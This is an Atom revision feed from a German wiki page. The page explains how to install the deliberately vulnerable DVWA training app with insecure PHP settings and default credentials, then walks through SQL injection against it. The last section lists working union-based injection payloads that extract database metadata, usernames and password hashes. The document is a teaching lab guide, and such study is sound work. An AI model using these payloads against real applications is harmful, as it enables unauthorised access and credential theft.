<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=SQL_Injection_-_Damn_Vulnerable_Web_App</id>
	<title>SQL Injection - Damn Vulnerable Web App - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=SQL_Injection_-_Damn_Vulnerable_Web_App"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=SQL_Injection_-_Damn_Vulnerable_Web_App&amp;action=history"/>
	<updated>2026-06-29T04:10:43Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=SQL_Injection_-_Damn_Vulnerable_Web_App&amp;diff=21520&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „==Voraussetzungen== *Apache, Mysql, installiert  apt-get install apache2 mysql-server  *php &lt; 7.0 muss installiert sein  Ubuntu 16.04:  sudo add-apt-repository…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=SQL_Injection_-_Damn_Vulnerable_Web_App&amp;diff=21520&amp;oldid=prev"/>
		<updated>2020-10-07T17:20:41Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „==Voraussetzungen== *Apache, Mysql, installiert  apt-get install apache2 mysql-server  *php &amp;lt; 7.0 muss installiert sein  Ubuntu 16.04:  sudo add-apt-repository…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==Voraussetzungen==&lt;br /&gt;
*Apache, Mysql, installiert&lt;br /&gt;
 apt-get install apache2 mysql-server &lt;br /&gt;
*php &amp;lt; 7.0 muss installiert sein&lt;br /&gt;
 Ubuntu 16.04:&lt;br /&gt;
 sudo add-apt-repository ppa:ondrej/php&lt;br /&gt;
 apt-get update&lt;br /&gt;
 apt-get install php5.6 php5.6-mysql php5.6-gd&lt;br /&gt;
 php -v&lt;br /&gt;
==Installation DVWA==&lt;br /&gt;
*Nach dem Download Entpacken und Verschieben ins DocumentRoot &lt;br /&gt;
 unzip DVWA-master.zip&lt;br /&gt;
 mv DVWA-master /var/www/html/dvwa&lt;br /&gt;
*cd /var/www/html/dvwa/&lt;br /&gt;
*cp config/config.inc.php.dist config/config.inc.php&lt;br /&gt;
*vi config&lt;br /&gt;
*Anpassen der Konfiguration dvwa:&lt;br /&gt;
 vi config/config.inc.php:&lt;br /&gt;
 $_DVWA[ 'db_password' ] = 'das_vergebene_passwort';&lt;br /&gt;
&lt;br /&gt;
 Falls das Insecure Captcha Modul benutzt werden soll:&lt;br /&gt;
 $_DVWA[ 'recaptcha_public_key = ''&lt;br /&gt;
 $_DVWA[ 'recaptcha_private_key = ''&lt;br /&gt;
 &lt;br /&gt;
Die Werte für die beiden Optionen müssen zuerst generiert werden (ein google Account ist Voraussetzung): https://www.google.com/recaptcha/admin/create&lt;br /&gt;
*Anpassen der php Konfiguration:&lt;br /&gt;
 vi /etc/php/5.6/apache2/php.ini&lt;br /&gt;
 allow_url_include = on&lt;br /&gt;
 allow_url_fopen = on&lt;br /&gt;
 safe_mode = off&lt;br /&gt;
 magic_quotes_gpc = off (fuer php &amp;lt;= 5.4)&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
*Anpassen der Verzeichnisrechte:&lt;br /&gt;
 chown www-data hackable/uploads/&lt;br /&gt;
 chown www-data external/phpids/0.6/lib/IDS/tmp/phpids_log.txt&lt;br /&gt;
*Anpassen der .htaccess Datei&lt;br /&gt;
 vi .htaccess&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IfModule mod_php5.c&amp;gt;&lt;br /&gt;
   php_flag magic_quotes_gpc Off&lt;br /&gt;
   #php_flag allow_url_fopen on&lt;br /&gt;
   #php_flag allow_url_include on&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
ersetzen durch:&lt;br /&gt;
 &amp;lt;IfModule mod_php5.c&amp;gt;&lt;br /&gt;
    magic_quotes_gpc = Off&lt;br /&gt;
    allow_url_fopen = On&lt;br /&gt;
    allow_url_include = On&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Aufruf von http://127.0.0.1/dvwa/setup.php - Create / Reset Database&lt;br /&gt;
*Einloggen mit Default Zugangsdaten&lt;br /&gt;
 Username: admin&lt;br /&gt;
 Passwort: password&lt;br /&gt;
&lt;br /&gt;
Direkt nach der Installation ist die Anwendung 'sicher' eingestellt. Das Sicherheitslevel kann unter DVWA Security angepasst werden.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
==SQL Injection mit DVWA==&lt;br /&gt;
*Sicherheitslevel low&lt;br /&gt;
*SQL Injection aufrufen&lt;br /&gt;
&lt;br /&gt;
*Normale Eingabe in Textbox:&lt;br /&gt;
 1&lt;br /&gt;
Ausgabe von ID, Vorname und Nachname&lt;br /&gt;
&lt;br /&gt;
SQL Abfrage auf der Datenbank:&lt;br /&gt;
 SELECT first_name, last_name FROM users WHERE user_id = '1'&lt;br /&gt;
&lt;br /&gt;
Ziel ist es durch die Benutzereingabe Code einzufügen, der vom Datenbanksystem ausgeführt wird.&lt;br /&gt;
&lt;br /&gt;
===Beispielhafte Eingaben zur Manipulation===&lt;br /&gt;
&lt;br /&gt;
*Ausgabe aller User:&lt;br /&gt;
 %' or '0'='0&lt;br /&gt;
*Ausgabe der Datenbackversion (ganz unten)&lt;br /&gt;
 %' or 0=0 union select null, version() #&lt;br /&gt;
*Ausgabe des Db Benutzers der die Abfragen durchführt&lt;br /&gt;
 %' or 0=0 union select null, user() #&lt;br /&gt;
*Ausgabe der aktuellen Datenbank&lt;br /&gt;
 %' or 0=0 union select null, database() #&lt;br /&gt;
*Ausgabe aller Tabellen die mit user beginnen&lt;br /&gt;
 %' or 0=0 union select null, table_name from information_schema.tables where table_name like 'user%' #&lt;br /&gt;
*Ausgabe aller Felder in der Tabelle users&lt;br /&gt;
 %' or 0=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # &lt;br /&gt;
0x0a: Zeilenumbruch&lt;br /&gt;
*Ausgabe der Benutzer und Passwoerter&lt;br /&gt;
 %' or 0=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>